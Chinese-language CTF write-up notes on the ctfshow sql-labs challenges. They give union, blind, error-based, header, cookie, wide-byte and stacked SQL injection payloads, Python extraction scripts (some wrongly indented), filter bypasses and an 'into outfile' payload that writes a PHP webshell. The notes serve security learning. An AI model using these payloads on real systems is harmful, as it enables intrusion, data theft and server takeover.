首页 > 数据库 >ctfshow sql-labs(笔记)

ctfshow sql-labs(笔记)

时间:2024-07-12 13:07:46浏览次数:17  
标签:group concat labs ctfshow sql id select schema

这是当时做题的时候记得笔记有些乱看不懂的可以私我

判断闭合方式:

id=1’ and 1=1–+ *正常回显*
id=1’ and 1=2–+ *异常回显*

id=1 and 1=1 *正常回显*
id=1 and 1=2 *异常回显*

id=1’) and 1=1–+ 回显正常
id=1’) and 1=2–+ 回显异常

id=1") and 1=1–+ 正常回显
id=1") and 1=2–+ 异常回显

这里我们需要对框架做一下微调,也就是将 1 改为 -1,这里修改的目的是查询一个不存在的 id,使得第一句为空,显示第二句的结果

id=1

id=1'报错

id=1'--+成功

则代表闭合成功了

web517

1'order by 1列数

1'union select1,2,3回显

爆出库名

-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

爆出表名

-1'  union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='ctfshow'--+

爆出字段

-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='flag'--+字段

爆出ctfshow库中flag表中的id,和flag

id=-1' union select 1,database(),group_concat(id,flag) from ctfshow.flag--+

web518

python sqlmap.py -u "https://e14396a5-07c3-453c-9c65-2a2cf0c888e5.challenge.ctf.show/?id=0" -D ctfshow
 -T flagaa --dump

数字型

把上题的'去掉就行

web519

')闭合

web520

")闭合

web521

import requests

url = "https://48f1cb18-576a-442a-a50f-7a5365da197a.challenge.ctf.show/?id=1%27and%20"

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # payload = f'if(ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema="ctfshow")),{i},1))>{mid},1,0)%23'
        # payload = f'if(ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)where(table_schema="ctfshow")),{i},1))>{mid},1,0)%23'
        # payload = f'if(ascii(substr((select flag33 from ctfshow.flagpuck),{i},1))>{mid},1,0)'
        payload = f'if(ascii(substr((select/**/group_concat(flag33)from(ctfshow.flagpuck)),{i},1))>{mid},1,0)%23'

        r = requests.get(url + payload)
        if "You are in..........." in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)
import requests
import string

strs = string.printable
url = "http://x.x.x.x:8001/Less-8/index.php?id="

database1 = "' or database() regexp '^{}'--+"
table1 = "' or (select table_name from information_schema.tables where table_schema=database() limit 0,1) regexp '^{}'--+"
cloumn1 = "' or (select column_name from information_schema.columns where table_name=\"users\" and table_schema=database() limit 1,1) regexp '^{}'--+"
data1 = "' or (select username from users limit 0,1) regexp '^{}'--+"

payload = database1
if __name__ == "__main__":
    name = ''
    for i in range(1,40):
        char = ''
        for j in strs:
            payloads = payload.format(name+j)
            urls = url+payloads
            r = requests.get(urls)
            if "You are in" in r.text:
                name += j
                print(j,end='')
                char = j
                break
        if char =='#':
            break

REGEXP注入与LIKE注入学习笔记-CSDN博客

https://9118c697-043f-42ae-b600-01d04399f21f.challenge.ctf.show/?id=' or database() regexp '[1]'--+

实测有效

自己写的脚本

import requests
import time
url="https://3517e209-ef0a-44c1-87c9-805e45b2da27.challenge.ctf.show/?id="

flagstr="ctfshow{qeryuipadgjklzxvbnm0123456789-}_"   
flag=""
for i in range(0,40):
    for x in flagstr:
        payload="' or (select table_name from information_schema.tables where table_schema='ctfshow') regexp '^{}' --+".format(flag+x)

        response=requests.get(url+payload)

        time.sleep(0.3)
        if response.text.find("You are in")>0:
            print("++++++++++++++++ {} is right".format(x))
            flag+=x
            break
        else:
            continue
    print(flag)

但是当你查询字段时

显示子查询结果多于一行

这时可以用limit进行限制

我们首先来说一说 limit n,m是怎么回事,首先它要获取到第一个参数游标n的位置,那么它就必须得扫描到n的位置,接着从此位置起往后取m条数据,不足m条的返回实际的数量。那么这就会有一个性能的问题,当游标的数值越来越大时性能就会越来越差。

所以可以一行一行的猜

payload = "\" or (select schema_name from information_schema.schemata limit 0,1) regexp '^{}' --+".format(flag + x)
payload="' or (select column_name from information_schema.columns where table_name='flagpuck' limit 1,1) regexp '^{}' --+"
 payload="' or (select group_concat(flag33) from ctfshow.flagpuck ) regexp '^{}' --+".format(flag+x)
admin' and (select (schema_name)from information_schema.schemata) regexp '^c' #

web522

"闭合

其他一样

web523

试探出是'))闭合但是

?id=1')) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow' into outfile "/var/www/html/1.txt"-- -

?id=1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flagdk' into outfile "/var/www/html/2.txt"-- -

?id=1')) union select 1,2,group_concat(flag43) from ctfshow.flagdk into outfile "/var/www/html/3.txt"-- -

web524

web525

?id=1' and if(1=1,sleep(3),0)--+

用and行但是or不行

import requests

if __name__ == '__main__':
    url = 'http://8fe3d6cd-1e9a-4466-a20d-4588602016c7.challenge.ctf.show:8080/?id=1%27and%20'
    result = ''
    i = 0
    while True:
        i = i + 1
        low = 32
        high = 127

        while low < high:
            mid = (low + high) // 2
            # payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},sleep(0.1),0)%23'
            # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),{i},1))>{mid},sleep(0.1),0)%23'
            # payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flagug"),{i},1))>{mid},sleep(0.1),0)%23'
            payload = f'if(ascii(substr((select group_concat(flag4a23) from ctfshow.flagug),{i},1))>{mid},sleep(0.2),0)%23'
            # print(payload)
            r = requests.get(url=url + payload)

            try:
                r = requests.get(url=url + payload, timeout=0.15)  # 0.15s内必须返回结果,然后执行下面的语句,如果0.15s还没有结果,则执行except的内容
                high = mid
            except:
                low = mid + 1

        if low != 32:
            result += chr(low)
        else:
            break

        print(result)

时间盲注这个二分法效果好

web527

1' union select 1,group_concat(schema_name)from information_schema.schemata#

1' union select 1,group_concat(table_name)from information_schema.tables where table_schema='ctfshow'#

1' union select 1,group_concat(column_name)from information_schema.columns where table_name='flagugsd'#

1' union select 1,group_concat(flag43s) from ctfshow.flagugsd#

web528

1") union select 1,group_concat(flag43as) from ctfshow.flagugsds#

web529

报错注入

extractvalue函数
函数原型:extractvalue(xml_document,Xpath_string)
正常语法:extractvalue(xml_document,Xpath_string);
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:Xpath_string是xpath格式的字符串
作用:从目标xml中返回包含所查询值的字符串

updatexml
函数原型:updatexml(xml_document,xpath_string,new_value)
正常语法:updatexml(xml_document,xpath_string,new_value)
第一个参数:xml_document是string格式,为xml文档对象的名称 第二个参数:xpath_string是xpath格式的字符串
第三个参数:new_value是string格式,替换查找到的负荷条件的数据 作用:改变文档中符合条件的节点的值

第二个参数跟extractvalue函数的第二个参数一样,因此也可以利用,且利用方式相同

报错注入在没法用union联合查询时用,但前提还是不能过滤一些关键的函数。

报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这里主要记录一下xpath语法错误concat+rand()+group_by()导致主键重复

主要有三种方法,extractvalue和updatexml函数形成的xpath报错,这算两种。还有一种就是floor实现的group by主键重复,这算另外一种。

闭合错误时有语句错误回显所以可以使用报错注入

admin') and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e))#

admin') and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e))#

admin') and extractvalue(1,concat(0x7e,(select right(group_concat(flag4),20) from ctfshow.flag),0x7e))#

每一回返回的字符串数量有限说以可以借用right(,num)和left(,num)来控制查询字符串的位子

num表示第几个字符串

web530

"闭合

其他和上题一样

上面这两题也同样可以盲注

import requests
import time
url="https://5bb66a59-8c81-497d-99f9-339726c2ffa1.challenge.ctf.show/"
flag=""
i=0
while True:
    low=32
    high=127
    i=i+1
    while low<high:
        mid=(low+high) // 2
        data={
            'uname':f'admin" and if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},1,0)#',
            'passwd':'123'
        }
        response=requests.post(url=url,data=data)
        if response.text.find("flag.jpg")>0:
            low=mid+1
        else:
            high=mid
    if low != 32:
        flag+=chr(low)
    else:
        break
    print(flag)

'uname':f'admin" and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=\'flagb\'),{i},1))>{mid},1,0)#'
'uname':f'admin" and if(ascii(substr((select group_concat(flag4s) from ctfshow.flagb),{i},1))>{mid},1,0)#'
'uname':f"admin" and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\'ctfshow\'),{i},1))>{mid},1,0)#"

web531

'闭合其他如上

web532

")

闭合其他如上

web533

在密码行进行报错注入

判断闭合:

无论密码如何设置都会显示成功所以只有当你成功闭合后面写上错误语句时才会报错否则不会报错

1' and updatexml(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1)-- -

1' and updatexml(1,concat(0x7e,(select (column_name) from information_schema.columns where table_name='flag'),0x7e),1)-- -

1' and updatexml(1,concat(0x7e,(select (flag4) from ctfshow.flag),0x7e),1)-- -
1' and updatexml(1,concat(0x7e,(select right(flag4,20) from ctfshow.flag),0x7e),1)-- -

# web534

ua头注入

首先你要能登陆成功

name:admin

posswd:admin

这样才有效果

ua头注入

用hackbar

添加ua头宪法送一次再用admin admin 登录你的ua头才是你自己定义的

或者是直接在bp上搞

User-Agent: 'or updatexml(1,concat(0x7e,(select group_concat(flag4)from ctfshow.flag),0x7e),1)or'1' ='1

也可以用python跑脚本

import requests
import base64
# payload = 'group_concat(table_name) from information_schema.tables where table_schema="ctfshow"';
# payload = 'group_concat(column_name) from information_schema.columns where table_schema="ctfshow"';
payload = 'group_concat(flag4) from ctfshow.flag';
#payload = 'right(flag4,20) from ctfshow.flag'

headers = {
    # "Cookie":'uname='+base64.b64encode(("admin1"+'"'+f"and extractvalue(1,concat(0x7e,(select {payload}),0x7e))#").encode()).decode()
    "User-Agent":f"'and extractvalue(1,concat(0x7e,(select {payload}),0x7e)) and '1'='1",
}
data = {
    'uname':'Dumb',
    'passwd':'Dumb'
}
url = 'http://cc408a83-c626-481f-9276-9aab789c38ee.challenge.ctf.show:8080/'
r = requests.post(url, headers=headers, data=data)
print(r.text)

web535

referer不能和下面隔开

上题也是如此

但是下面有个cookie注入是必须要隔开

referer注入

首先你要能登陆成功

name:admin

posswd:admin

这样才有效果

假如说闭合错误的话会有报错

这样测试闭合方式

用bp也可以

用python脚本也行

web536

他就只截取你的cookie值下面的内容都删了都行(但不能把下面的空行也删了):

这样也行:

Cookie: uname=uname=admin1'and extractvalue(1,concat(0x7e,right((select group_concat(flag4) from ctfshow.flag),20),0x7e))#

也可以不用报错注入如下:

cookie: uname=1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow'#

web537

-1' union select 1,database(),user()#

用简单命令先测试闭合方式

多了个base64

加密

进行加密即可

') union select 1,group_concat(flag4),3 from ctfshow.flag #

base64编码:

JykgdW5pb24gc2VsZWN0IDEsZ3JvdXBfY29uY2F0KGZsYWc0KSwzIGZyb20gY3Rmc2hvdy5mbGFnICM=

web538

直接注入就行

也可以使用报错注入

"闭合

其他和上一题一样

web539

一:

可以看到后端对–+和#都进行了过滤,所以我们用url结束符: ;%00

二:

也可以直接union select1,2,3之后加'也可以正常执行(不知道原理)

我们可以

•1. ?id=1 返回正常

•2. ?id=1’ 返回异常,说明可能存在漏洞

•3. ?id=1’ --+ 或者?id=1’ # 均返回错误,通过源代码分析,我们得知--+ # 都被替换为了空格,这里使用 ;%00充当注释符

•4.?id=1‘ order by 3 ;%00 查多少列

•5. ?id=-1’ union select 1,2,3 ;%00 查找回显位置

•6. ?id=-1‘ union select 1,2, group_concat(schema_name) from information_schema.schemata ;%00 查库名

•7. ?id=-1‘ union select 1,2, group_concat(table_name) from information_schema.tables where table_schema = 0x7365637572697479 ;%00 查表名

•8. ?id=-1‘ union select 1,2, group_concat(column_name) from information_schema.columns where table_name = 0x7573657273 ;%00 查字段名

•9. ?id=-1‘ union select 1,2, group_concat(concat_ws(0x7e,username,password)) from security.users ;%00 查出字段中所有的值

也可以不用报错注入

但是前面的id应等与一个不纯在的数

也可以报错注入

?id=1'and updatexml(1,concat(0x7e,right((select group_concat(flag4)from ctfshow.flag),20),0x7e),1);%00

web540

当你创建一个admin'#的用户并登录后改变他的密码

回来登录发现admin的密码也被改变了

这样就可以确定SQL语句为 ' 闭合

若是未改变则不是 ' 闭合

时间盲注:

import requests
session = requests.session()

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # payload = f'if(ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema="ctfshow")),{i},1))>{mid},sleep(1),0)'
        # payload = f'if(ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)where(table_schema="ctfshow")),{i},1))>{mid},sleep(0.7),0)'
        payload = f'if(ascii(substr((select/**/group_concat(flag4)from(ctfshow.flag)),{i},1))>{mid},sleep(0.6),0)'
        username = f"admin' and {payload} or '1'='1"
        url1 = 'https://f2fa9134-1691-4817-ba82-5d34b1e038bf.challenge.ctf.show/login_create.php'
        data = {
            'username': username,
            'password': '1',
            're_password': '1',
            'submit': 'Register'
        }
        r = session.post(url1, data=data)
        url2 = 'https://f2fa9134-1691-4817-ba82-5d34b1e038bf.challenge.ctf.show/login.php'
        data = {
            'login_user': username,
            'login_password': '1',
            'mysubmit': 'Login',
        }
        r = session.post(url2, data=data)
        url3 = 'https://f2fa9134-1691-4817-ba82-5d34b1e038bf.challenge.ctf.show/pass_change.php'
        data = {
            'current_password': '1',
            'password': '2',
            're_password': '2',
            'submit': 'Reset'
        }

        try:
            r = session.post(url3,data=data,timeout=0.5)
            tail = mid
        except:
            head = mid + 1


    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

感觉可以进行布尔盲注

创建admin' and 1#

和admin' and 0#

前者显示密码更改成功 Password successfully updated

后者显示滚蛋

但没成功

web541

  1. 用“&&”符号取代and关键字,用“||”符号取代or关键字

过滤了or和and可以使用双写绕过

可以使用双写绕过

?id=1' aandnd updatexml(1,concat(0x7e,right((select group_concat(flag4s)from ctfshow.flags),20),0x7e),1)--+

也可以使用||来代替and或or

id=1' || updatexml(1,concat(0x7e,right((select group_concat(flag4s)from ctfshow.flags),20),0x7e),1)--+

web542

整数注入

其他和上题一样

?id=-1 union select 1,2,group_concat(flag4s)from ctfshow.flags--+

无列名注入

SQL注入之无列名注入-CSDN博客

?id=-1 union select 1,group_concat(b),3 from (select 1,2 as b union select * from ctfshow.flags limit 1,1)a -- -

web543

过滤了空格

对于空格,有较多的方法:

%09 TAB 键(水平)

%0a 新建一行%0a (后面的空格不能省)

%0c 新的一页

%0d return 功能

%0b TAB 键(垂直)

%a0 空格

但是都不行所以:

?id=1'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='ctfshow')),0x7e),1);%00

?id=1'||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='flags')),0x7e),1);%00

/?id=1'||updatexml(1,concat(0x7e,(select(group_concat(flag4s))from(ctfshow.flags)),0x7e),1);%00

?id=1'||updatexml(1,concat(0x7e,right((select(group_concat(flag4s))from(ctfshow.flags)),20),0x7e),1);%00

web544

既不显示报错信息又过滤了空格

id=1成功

id=1'报错

id=1';%00还报错则不是'闭合

id=1')报错

id=1');%00成功则是')闭合

import requests

url = "https://f7188ca0-c445-4347-9919-d2af3222345f.challenge.ctf.show/"

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # payload = f'if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="ctfshow")),{i},1))>{mid},1,0)'
        # payload = f'if(ascii(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema="ctfshow")),{i},1))>{mid},1,0)%23'
        payload = f'if(ascii(substr((select(group_concat(flag4s))from(ctfshow.flags)),{i},1))>{mid},1,0)%23'
        data = {
            'id': f"100')||{payload}||('0"
        }
        r = requests.get(url,params=data)
        if "Dumb" in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

不知道为啥这样不行

在浏览器上测试着是成功的

web545

用%0a即可绕过

id=111'%0auNIon%0asElEct%0a1,2,group_concat(table_name)from%0ainformation_schema.tables%0awhere%0a table_schema='ctfshow'%0a ;%00

也可以盲注

过滤了select

select大小写混合

import requests

url = "http://857803fc-3f61-4ec6-8084-214ad94d5be4.challenge.ctf.show:8080/"

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127
while head < tail:
    mid = (head + tail) >> 1
    # payload = f'if(ascii(substr((SeLect(group_concat(table_name))from(information_schema.tables)where(table_schema="ctfshow")),{i},1))>{mid},1,0)'
    # payload = f'if(ascii(substr((SeLect(group_concat(column_name))from(information_schema.columns)where(table_schema="ctfshow")),{i},1))>{mid},1,0)%23'
    payload = f'if(ascii(substr((SeLect(group_concat(flag4s))from(ctfshow.flags)),{i},1))>{mid},1,0)%23'
    data = {
        'id': f"100'||{payload}||'0"
    }
    r = requests.get(url,params=data)
    if "Dumb" in r.text:
        head = mid + 1
    else:
        tail = mid

if head != 32:
    result += chr(head)
else:
    break
print(result)

web546

?id=111"%0auNIon%0asElEct%0a  1,2,group_concat(table_name)from%0ainformation_schema.tables%0awhere%0a  table_schema='ctfshow'%0a ;%00

id=111"%0auNIon%0asElEct%0a    1,2,group_concat(flag4s)from%0actfshow.flags%0a ;%00

脚本

import requests

url = "http://642ba949-092a-4d73-bdc6-3914a631fdf0.challenge.ctf.show:8080/"

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127
while head < tail:
    mid = (head + tail) >> 1
    # payload = f'if(ascii(substr((SeLect(group_concat(table_name))from(information_schema.tables)where(table_schema="ctfshow")),{i},1))>{mid},1,0)'
    # payload = f'if(ascii(substr((SeLect(group_concat(column_name))from(information_schema.columns)where(table_schema="ctfshow")),{i},1))>{mid},1,0)%23'
    payload = f'if(ascii(substr((SeLect(group_concat(flag4s))from(ctfshow.flags)),{i},1))>{mid},1,0)%23'
    data = {
        'id': f'100"||{payload}||"0'
    }
    r = requests.get(url,params=data)
    if "Dumb" in r.text:
        head = mid + 1
    else:
        tail = mid

if head != 32:
    result += chr(head)
else:
    break
print(result)

web547

过滤的有点奇怪多进行尝试

?id=111')%0aunion%0auNIon%0asElEctselect%0a  1,2,group_concat(table_name)from%0ainformation_schema.tables%0awhere%0a  table_schema='ctfshow'%0a ;%00

?id=111')%0aunion%0auNIon%0asElEctselect%0a  1,2,group_concat(column_name)from%0ainformation_schema.columns%0awhere%0a  table_name='flags'%0a ;%00

?id=111')%0aunion%0auNIon%0asElEctselect%0a  1,2,group_concat(flag4s)from%0actfshow.flags%0a ;%00

脚本

import requests

url = "http://ad252945-d00d-4d20-b9d3-59af493daf3e.challenge.ctf.show:8080/"

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127
while head < tail:
    mid = (head + tail) >> 1
    # payload = f'if(ascii(substr((SeLect(group_concat(table_name))from(information_schema.tables)where(table_schema="ctfshow")),{i},1))>{mid},1,0)'
    # payload = f'if(ascii(substr((SeLect(group_concat(column_name))from(information_schema.columns)where(table_schema="ctfshow")),{i},1))>{mid},1,0)%23'
    payload = f'if(ascii(substr((SeLect(group_concat(flag4s))from(ctfshow.flags)),{i},1))>{mid},1,0)%23'
    data = {
        'id': f"100')||{payload}||('0"
    }
    r = requests.get(url,params=data)
    if "Dumb" in r.text:
        head = mid + 1
    else:
        tail = mid

if head != 32:
    result += chr(head)
else:
    break
print(result)

web548

和上题一模一样

web549

思路(代码逻辑漏洞导致的重复参数注入):

二十九关就是会对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入。

根据源代码,get提交的参数,如果重名,则以最后一个为准,所以sql语句在接受相同参数时候接受的是后面的参数值。
但是验证id是否是数字却只是验证了第一个id参数

其实第29关(web549)是用jsp搭建的服务器,所以建议在电脑中安装Jspstudy来安装Jsp的环境。

构造两个id参数,index.php?id=1&id=2,Apache PHP 会解析最后一个参数,Tomcat JSP 会解析第一个参数

?id=1&id=0'union select 1,2,group_concat(flag4s)from ctfshow.flags;%00

web550

"闭合其他和上题一样

?id=1&id=0"union select 1,2,group_concat(flag4s)from ctfshow.flags;%00

web551

")闭合其他和上题一样

?id=1&id=0")union select 1,2,group_concat(flag4s)from ctfshow.flags;%00

web552?(纯宽字节注入解决不了)

1'被转化为1'

这里利用了宽字节注入

GBK 是占两个字节(也就是名叫宽字节,只要字节大于1的都是)

“ \ ”即url里面的“ %5c ”

我们在前面加上一个%df让他跟%5c组成%df%5c变成

不只是能和%df组合 组合后ascill大于128就可以

  1. GBK首字节对应0x81-0xfe(129-239),尾字节对应0x40-0xfe(64-126)(除了0x7f【128】)

比如一些 %df’ %81’ %82’ %de’ 等等

查库

?id=0%df%27union select 1,2,group_concat(schema_name) from information_schema.schemata;%00

查表时没法用where table_schema='ctfshow'里面有'而且不知为何不能用宽字节注入

所以就查出所有的表

?id=0%df%27union select 1,2,group_concat(table_name) from information_schema.tables;%00

之后就是又库名有表名

进行无列明注入

?id=0%df%27union select 1,group_concat(b),3 from (select 1,2 as b union select * from ctfshow.flags limit 1,1)a;%00

web553

和上题一样就是不能用;%00进行闭合了可以改用--+

?id=0%df%27union select 1,group_concat(b),3 from (select 1,2 as b union select * from ctfshow.flags limit 1,1)a;%00

web554

还是上题的疑惑

-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=%df'ctfshow%df'--+(会报错只有使用无列名注入)


uname=-1%df' union select 1,group_concat(b) from (select 1,2 as b union select * from ctfshow.flags)a--+&passwd=1&submit=Submit

因为会把%也给\了所以要在bp上操作

国光大佬还写了一个新方法:

将 utf-8 转换为 utf-16 或 utf-32,例如将 ' 转为 utf-16 为�,从而得到了一个能被utf-8解析
为汉字的字节。
我们就 可以利用这个方式进行尝试,可以使用 Linux 自带的 iconv 命令进行 UTF 的编码转换:

➜ ~ echo '|iconv -f utf-8 -t utf-16
��'
➜ ~ echo '|iconv -f utf-8 -t utf-32
��'

uname=-1�'union select 1,(select group_concat(flag4s) from ctfshow.flags)--+&passwd=1&submit=Submit

web555

数字型注入其他和上一题一样

?id=0 union select 1,2,group_concat(b)from (select 1,2 as b union select * from ctfshow.flags)a--+

web556

和上面的题重复了

?id=0%df' union select 1,2,group_concat(b)from (select 1,2 as b union select * from ctfshow.flags)a--+

web557

bp post传

uname=admin%df'union select 1,group_concat(b)from (select 1,2 as b union select * from ctfshow.flags)a--+&passwd=admin&submit=Submit

web558

堆叠注入

MySQL 的命令行中,每一条语句以 ; 结尾,这代表语句的结束,如果在注入过程中在 ; 后面添加要执行的 SQL 语句的话,这种注入方式就叫做堆叠注入 (stacked injection) 。

局限性

  1. 并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎。
  2. 在 Web 中代码通常只返回一个查询结果,因此,堆叠注入第 二个语句产生错误或者结果只能被忽略

这个就是为什么我们尝试用 union select 联合查询的原因,使用堆叠注入前,我们还需要了解数据库的相关信息才可以,如表名、列名等

?id=1';CREATE TABLE flags SELECT * FROM ctfshow.flags;rename table users to a;rename table flags to users;

创建一个名为"flags"的新表,通过选择来自"ctfshow"模式的"flags"表中的所有列和行。接下来,你尝试将名为"users"的表重命名为"a",然后将名为"flags"的表重命名为"users"。

再查询id=1即可

还有一种方法

insert into users(id,username,password) values (77,(select group_concat(flag4s) from ctfshow.flags),"don77")-- +

这个SQL查询是在尝试向users表中插入一行数据。具体来说,它试图将id设置为77username设置为从ctfshow.flags表中的flag4s列获取的所有值连接在一起(使用group_concat函数),password设置为"don77"

但是直接插入数据,flag会写入字段里面数据库列长度不一定满足回显长度需求所以截取试试。

?id=-1';insert into users(id,username,password) values (77,(select SUBSTRING(group_concat(flag4s),1,5) from ctfshow.flags),"don77")--+

联合注入也可以

'闭合

?id=0'union select 1,2,group_concat(flag4s)from ctfshow.flags--+

web559

堆叠注入

参考558

数字型

?id=1;CREATE TABLE flags SELECT * FROM ctfshow.flags;rename table users to a;rename table flags to users;

或:

?id=0 union select 1,2,group_concat(flag4s)from ctfshow.flags--+

web560

堆叠注入

参考558

')闭合

?id=1');CREATE TABLE flags SELECT * FROM ctfshow.flags;rename table users to a;rename table flags to users;

或:

?id=0')union select 1,2,group_concat(flag4s)from ctfshow.flags--+

web561

堆叠注入

参考558

数字型

?id=1;CREATE TABLE flags SELECT * FROM ctfshow.flags;rename table users to a;rename table flags to users;

或:

?id=0 union select 1,2,group_concat(flag4s)from ctfshow.flags--+

web562

在bp上传

测试发现应在密码行进行注入

联合查询发现没有回显点

但是有报错所以可以进行报错查询

login_user=1%27&login_password=1%27+or+updatexml(1,concat(0x7e,(SELEct+group_concat(flag4s)from+ctfshow.flags),0x7e),1)#

login_user=1%27&login_password=1%27+or+updatexml(1,concat(0x7e,right((SELEct+group_concat(flag4s)from+ctfshow.flags),20),0x7e),1)#

web563

与上一题一样在密码段进行注入

login_user=1"&login_password=1')+or+updatexml(1,concat(0x7e,(select+group_concat(schema_name)from+information_schema.schemata),0x7e),1)#&mysubmit=Login

login_user=1"&login_password=1')+or+updatexml(1,concat(0x7e,(select+group_concat(table_name)from+information_schema.tables+where+table_schema='ctfshow'),0x7e),1)#&mysubmit=Login

login_user=1"&login_password=1')+or+updatexml(1,concat(0x7e,(select+group_concat(column_name)from+information_schema.columns+where+table_name='flags'),0x7e),1)#&mysubmit=Login

login_user=1"&login_password=1')+or+updatexml(1,concat(0x7e,(select+group_concat(flag4s)from+ctfshow.flags),0x7e),1)#&mysubmit=Login

login_user=1"&login_password=1')+or+updatexml(1,concat(0x7e,right((select+group_concat(flag4s)from+ctfshow.flags),20),0x7e),1)#&mysubmit=Login

web564web565

web564数字型

web565 '闭合

用SORT传参

数字型

试探类型的时候发现有报错即可用报错注入

?sort=1  or updatexml(1,right(concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),20),1)#

?sort=1  or updatexml(1,right(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),20),1)#

?sort=1  or updatexml(1,right(concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flags'),0x7e),20),1)#

?sort=1  or updatexml(1,right(concat(0x7e,(select group_concat(flag4s) from ctfshow.flags),0x7e),20),1)#

?sort=1  or updatexml(1,right(concat(0x7e,right((select group_concat(flag4s) from ctfshow.flags),30),0x7e),40),1)#

也可以进行盲注

SQLI labs 靶场精简学习记录 | 国光 (sqlsec.com)

布尔盲注

数据库第 1 位为:s

PAYLOAD
?sort=rand(left(database(),1)>'r')

延时盲注

数据库第一个字母的 ascii 码为 115,即 s

PAYLOAD?sort=rand(if(ascii(substr(database(),1,1))>114,1,sleep(1)))
?sort=rand(if(ascii(substr(database(),1,1))>115,1,sleep(1)))

into outfile

将查询结果导入到文件中

SQL
?sort=1 into outfile "/var/www/html/less46.txt"

Payload

PAYLOAD
?sort=1 into outfile "/var/www/html/less46.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e

3c3f70687020706870696e666f28293b3f3e 是 <php phpinfo();> 的十六进制编码。

写入一句话木马然后用蚁剑连

?sort=1' into outfile "/var/www/html/less47.php" lines terminated by 0x3c3f70687020406576616c28245f504f53545b785d293b3f3e--+

但是没权限或者路径不存在

去数据库里寻找

数据库密码路径

/var/www/html/sql-connections/db-creds.inc

去首页右键链接数据库

添加

web566

数字型

没有报错

可以into outfile

也可以盲注

web577

数字型

可以报错

可以into outfile

也可以盲注

web578

'闭合

可以报错

可以into outfile

也可以盲注

web681

抓包看其返回语句输入引号会被吞掉

然后就直接利用\把'给注释掉然他失去本身的作用

例如输入 ||1#\

就会select count(*) from ctfshow_users where username = '||1#' or nickname = '||1#'

中间的||1#' or nickname = 是一个整体右边又是一个整体

web691

<?php

include('inc.php');
highlight_file(__FILE__);
error_reporting(0);
function  filter($str){
   $filterlist = "/\(|\)|username|password|where|
   case|when|like|regexp|into|limit|=|for|;/";
   if(preg_match($filterlist,strtolower($str))){
    die("illegal input!");
   }
   return $str;
 }
$username = isset($_POST['username'])?
filter($_POST['username']):die("please input username!");
$password = isset($_POST['password'])?
filter($_POST['password']):die("please input password!");
$sql = "select * from admin where username =
 '$username' and password = '$password' ";

$res = $conn -> query($sql);
if($res->num_rows>0){
 $row = $res -> fetch_assoc();
 if($row['id']){
   echo $row['username'];
 }
}else{
  echo "The content in the password column is the flag!";
}

?>

分析可得我们要想办法得到密码行中的内容

联合注入配合order by

image-20240710170515641

在 SQL 中,ORDER BY 是用于对查询结果进行排序的子句。它通常用于按照指定的列或表达式对结果集进行排序,可以按升序(默认)或降序排列。order by +排序依据

于是你就可以不断地改变你联合查询的值

来造成第一列的排序改变也就是造成了不同的返回结果

根据不同的返回结果去一个一个的判定password每一位的值即flag的值

脚本如下

import requests

s = ".0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
url = "https://599e3c94-db56-4cf9-b136-8585e5e4638c.challenge.ctf.show/"

k = ''
for i in range(1, 50):
    print(i)
    for j in s:
        data = {
            'username': "' or 1 union select 1,2,'{0}' order by 3#".format(k + j),
            'password': '1111'
        }
        r = requests.post(url, data=data)
        print(data['username'])
        if ("</code>admin" in r.text):
            k = k + chr(ord(j) - 1)
            print(k)
            break

  1. 1-9 ↩︎

标签:group,concat,labs,ctfshow,sql,id,select,schema
From: https://www.cnblogs.com/dghh/p/18298005

相关文章

  • SQl server 练习3
